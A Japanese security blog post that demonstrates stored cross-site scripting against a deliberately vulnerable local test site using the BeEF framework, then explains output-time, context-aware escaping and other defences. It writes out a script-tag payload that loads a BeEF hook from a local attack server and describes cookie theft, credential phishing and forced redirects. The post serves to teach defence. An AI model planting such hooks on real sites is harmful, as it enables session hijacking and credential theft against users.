この記事の内容は執筆当時のものです。ご利用条件の詳細はサイト利用規約をご確認ください。
各ブログ記事の内容は執筆当時のものであり、閲覧時点において最新の情報が掲載されていない場合があります。各ブログ記事の内容について試行する場合は、必ずご自身で内容の安全性・正当性を検証の上、ご自身の管理下にある機器・環境に対してのみ実施してください。
徹底解説!クロスサイトスクリプティングの影響とメカニズム - 攻撃手法と防御策
どうも、カヌです。
フォレンジックってツールも多いし、解析すべきアーティファクトも多いしOSに関する知識も求められるしで、とても楽しいですね。
さて、本題に入りましょう。
本記事では、クロスサイトスクリプティング【Cross-Site Scripting:XSS】(以降、XSSと表記します)攻撃に対する脆弱性が存在することで、何ができるのか、どのような影響があるかを検証していきます。
脆弱性の詳細についてはクロスサイトスクリプティング【Cross-Site Scripting:XSS】とは|図でわかる脆弱性の仕組みを参照してください。
前回の記事と同様に今回も「攻撃(XSS)でできること」に焦点を当てるため、オープンソースのXSS攻撃のフレームワークであるBeEFを用いて検証していきたいと思います。
ここで注意したいのは、ツールは手動で実行できることを自動化したものであるという点です。
手動で行ったとしても同様の攻撃は可能ですので、ツールがあるからXSS脆弱性は怖いだとか、対策をしなければならない、という話ではありません。
こういったツールがなくとも、対策をしなければ同様の脅威に晒されてしまうという点にご留意の上、続きをご覧ください。
対象となる画面の説明
弊社内でおなじみのPHP言語で記述され、脆弱性が組み込まれたサイト(CatCommunityというサイト)を使っていきます。
このサイトは、ローカルマシンに立てており、http://localhost/
でアクセスできます。
今回はXSS攻撃に対する脆弱性の存在する記事詳細画面にフォーカスします。
以下のように、サイトに飛んで、投稿一覧を押して、詳細を押すと出てくる画面です。
詳細ボタンを押して開く以下のような画面が今回、XSS攻撃に対して脆弱な画面になります。
攻撃者の目線になって見ていきましょう
攻撃対象となる画面がはっきりしたところで、攻撃の準備をしていきましょう。
ここからは攻撃者の目線になっていきます。
スクリプトタグを埋め込むだけだと味気ないので、何らかの記事を書きたいと思います。
とはいえ、文才はあまりないので、ChatGPTに猫に対する熱い文章を考えてもらおうと思います。
書いてもらった文章を適当に改行して、悪性スクリプトタグ<script src="http://localhost:3000/hook.js"></script>
を最後に一振りして完成です。
ちゃんとスクリプトタグは挿入できています。
ただし、確認画面ではしっかりエスケープ処理されて出力されていることがわかります。
ではXSS攻撃に対する脆弱性が存在する「詳細画面」を開いて、確認してみましょう。
猫ちゃんに対する気持ちが熱すぎてタイトルがはみ出していますね。
さらに詳細画面を開き、F12
もしくはCTRL+SHIFT+i
でブラウザの開発者ツールを開くと、先ほど入力したスクリプトタグがエスケープ処理されずにDOM上にスクリプトタグとして挿入されていることがわかります。
ここで、埋め込んだスクリプトの挙動を見てみましょう。
開発者ツールの通信タブを開くとこのhook.jsに対して繰り返し通信していることがわかります(あくまでも一例であり、すべてのケースでこの挙動が見られるとは限りません)。
この通信がBeEFへの通信(ビーコン)であり、今誰がこのページを見ているかというのがわかるようになります。
これでXSSで攻撃者が被害者のブラウザを攻撃する準備は整いました。
XSS攻撃を実際にやってみる
早速XSS攻撃を試してみたいと思っていますが、その前にツールの使い方(画面の見方)を学んでおきましょう。
XSSフレームワークBeEFの説明
複雑なXSS攻撃を簡便に実現するフレームワークとしてBeEFというものがあります。
BeEFにはXSS攻撃を簡便に実施するための、さまざまな攻撃ペイロードがプリセットされています。
UIの説明
早速ですが、UIの説明です。
縦に細長い左ペインに悪性スクリプトを動作させているブラウザの情報(Online Browsers)と悪性スクリプトを過去動作させたブラウザの情報(Offline Browsers)の一覧が表示されています。
右側のペインではブラウザの詳細情報を確認できます。
ここに書かれている情報の中では、黄色いハイライトの部分(browser.window.cookies)が比較的おいしい情報ではないでしょうか。ログイン中のセッションが存在すれば、セッションを乗っ取れますからね。
このように、JavaScriptで取得できる情報は中々多いということ分かるかと思います。
XSS攻撃でできること
実際に攻撃デモをしながらXSS攻撃でできることを理解していきましょう。
ここでは以下のような手順でデモを進めます。
- 被害者のサイトログインに必要なIDとパスワードを盗み取ります。
- マルウェアのインストールを誘導するため、偽のコンテンツとすり替えてみます。
- コンテンツがすり替わっていることを明確にするために文体を変えたものを配置します。
- さらに、コンテンツをすり替えた後は別サイトへ強制遷移させてみます。
- 動画内では弊社ホームページへ強制遷移させていますが、悪性サイトへの遷移も同様に可能です。
動画内では、何をしている場面であるかの説明は一応ありますが、尺の関係で表示がかなり短くなっています。
適宜、一時停止しながらご覧ください。
このように、XSS攻撃によってページのコンテンツを全く別の内容にすり替えられることが確認できました。デモ動画で示した通り、IDやパスワードを求めるプロンプトを出して攻撃者に送信させたり、DOMを改ざんしてマルウェアのインストールを誘導したり、悪性サイトへ強制遷移させるといったこともできてしまいます。
対策
HTML特殊文字を数値文字参照や文字実体参照(以下「文字参照」と記載します)へエンコードする処理の実施がXSS対策の基本です。
正確に言うならば「コンテキストに合わせた文字参照へのエンコード処理やエスケープ処理」が要求されます。
例えば、属性値にユーザ入力値が出力されるような値 (例えば、<input value="ここに入力値が出力される">
)の場合、入力された値が属性値として認識されるように属性値内部で利用される特殊文字を文字参照へ置き換える必要があります。
また、前提として属性値はダブルクォートで囲ってください。
また、やむを得ず動的にスクリプトを生成するにあたり、JSの文字列中(例えば、<input onclick="function('ここに入力値が出力される')">
)に出力される場合は、エスケープシーケンスでのエスケープを行ってください。
さらに、出力箇所がURL(例えば、<a href="ここに入力値が出力される">
)である場合、javascriptスキームの入力制限をする必要があります。
この入力制限は先述した通り、URLであると確定している場合は入力値に対してURLパースを行うことで確実にスキームの判別が行えます。
広く知られている特定のデータ表現であると仕様上定まっている場合には、正規表現よりもデータ専用のパーサ(URLパーサやJSONパーサなど)を使ったほうがよりよい解決策と言えると考えています。
DOMベースのアプリケーションである場合かつ、テキストとして出力する場合はtextContentやinnerTextを用いて出力するといった対策が必要です。
さらに可能な限り、テンプレートエンジンや言語のAPIを利用して、対策を実施します。
Smartyテンプレートエンジンにおける対策例
Smartyテンプレートエンジンにおける対策漏れの例(黄色マーカー部分)
スペースが一つ入っている(黄色マーカ部分)ために生じたミスですが、このスペース一つですべての対策が漏れることになります。
影響も未対策時と同じ影響を受けることになります。
明示的にエスケープの指示をするタイプのSmartyのようなフレームワークでは、このようにわかりづらい形でエスケープ漏れが出現することもあります。
一方で、React等のようにデフォルトでエスケープされる設計のフレームワークもあります。
ただし、Reactであってもアンカータグ(aタグ)に対してjavascriptスキームが指定されるとJSが実行されるといった点など、フレームワークを使っても完全とは言えません。
このような点に関しては開発者自身がフレームワークやブラウザの仕様としてどこまで担保されているのか、どこから自分で保証しなければならないかを理解した上で実装しなければなりません。
対策するタイミングの重要性
エスケープ/エンコード処理を実行するタイミングは出力時(最終的に利用されるタイミング)に実施します。
これはインジェクション系全般に言えることです。
例えば、ユーザ名やパスワードを受け取ってDBに格納しながら、ユーザ名のみ表示するというフローを考えます。
まず、避けるべき実装であるDBに登録する前にエンコードをしてしまうフローを説明します。
- ユーザ名とパスワードを受け取る。
- ユーザ名とパスワードに含まれるHTML特殊文字をエスケープします。
- DBにユーザ名とパスワードをハッシュ化して格納します。
- ユーザ名をHTML上に出力します。
表面上うまくいきますし、DBにはエスケープ後の値が入っているので、すべての画面で対策をするよりも省力化できるように見えます。
ただし、ここで問題なのはパスワードもエスケープされているという点です。パスワードの文字がエスケープされてしまっているということは、ユーザがログインできなくなってしまうということです。
この例であればパスワードだけ例外にすればよいという考えになります。
ですが、そこにメールアドレスや電話番号、住所等様々な取り扱いをしなければならないデータが入ってきた場合、それぞれのデータ種別(今後の扱われ方を考える必要があります)に基づいてDBに格納する前に適切なエンコードをしなければなりません。
HTMLに表示するだけなら文字参照にエンコードしてもよいですが、実際にはアプリケーション内で様々な取り回しをしたりHTML以外を扱うシステムとデータ連携することも考えられます。
そういうニーズがある場合DBに登録されたデータのどこからどこまでが、どのようなエンコードされているのかを把握したり、受け側のシステムで再度デコードを掛けなければなりませんし、デコードのロジックもWebアプリ側と合わせなければならなくなったりします。
そうすると、Webアプリ側からDBに入力された貴重なデータは非常に取り回しの悪いデータになってしまうというわけです。
要するに、汎用的に使われるデータをそのアプリケーションの都合に合わせて書き換えてはいけないということになります。
もし都合に合わせて変換する場合は、アプリケーションの責任の及ぶ範囲のみ(ほかの連携アプリから手の届かない範囲)ですべきだと考えています。
そのため、以下のように、出力するタイミングでエンコード処理を行うことを推奨します。
- ユーザ名とパスワードを受け取る。
- DBにユーザ名とパスワードをハッシュ化して格納します。
- ユーザ名に含まれるHTML特殊文字をエスケープします
- ユーザ名をHTML上に出力します。
保険的な対策
保険的な対策としては以下のような実装があります。
- CSPヘッダで読み込めるリソースやインラインスクリプトを制限する。
極力避けるべき対策
極力避けるべき対策は、<
や>
、'
や"
といったHTML上におけるメタ文字の入力を拒否したり、これらのメタ文字をユーザに許可なく削除・置換する(文字参照へのエンコード処理やJS内部に出力する際のエスケープ処理を除く)、というものです。
この方法は、電話番号やログインIDなどのように、アプリケーションの仕様として利用できる文字種等が限定されている場合には保険的な対策として有効ですが、XSS対策を目的として入力を制限するべきではありません。
また、この方法をパスワード入力フォームに実施してしまった場合にはパスワードの入力文字数の上限や文字種に制限を掛ける事につながってしまい、総合的なセキュリティレベルが低下する恐れがあります。
文字種はある程度制限してもエントロピーに影響が出るかというとそこまで出ませんがパスワードマネージャで複雑かつ長いパスワードを生成・管理することを前提にユーザビリティの観点を考えると、避けたほうが良い実装であると考えています。
まとめ
この記事では、XSS攻撃に対する脆弱性を持つ記事詳細画面を使用して、攻撃を行った結果、どのようなことが実行できるかを検証しました。
以下に、本記事の重要なポイントをまとめます。
- XSS攻撃の被害が発生してしまう理由は、HTMLやスクリプトの文脈において悪性スクリプトが挿入されることで発生します。
- 被害はログインセッションの窃取による不正ログイン、コンテンツの見た目上の改ざん(DOM改ざん)や悪性サーバへの強制遷移でのフィッシング・マルウェア感染被害などが考えられます。
- HTMLは、それぞれの箇所(タグの属性値やタグとタグの間等)で、別の意味合いを持っています。これらの意味合いの違いを理解し、コンテキストに沿ったエスケープがXSS対策として求められます。
- フロントエンドフレームワークや言語のAPI、ブラウザのAPIを活用して対策する場合は、正しく利用できているかを確認してください。。
- XSS攻撃への対策は出力のタイミングで行ってください。データ入力のタイミングで行うと登録されたデータの取り回しが難しくなる(アプリの拡張がしづらくなる)などの弊害が発生すると考えられます。
これらの対策を施すことで、XSS攻撃からの保護が強化され、安全で信頼性の高いシステムの構築に寄与します。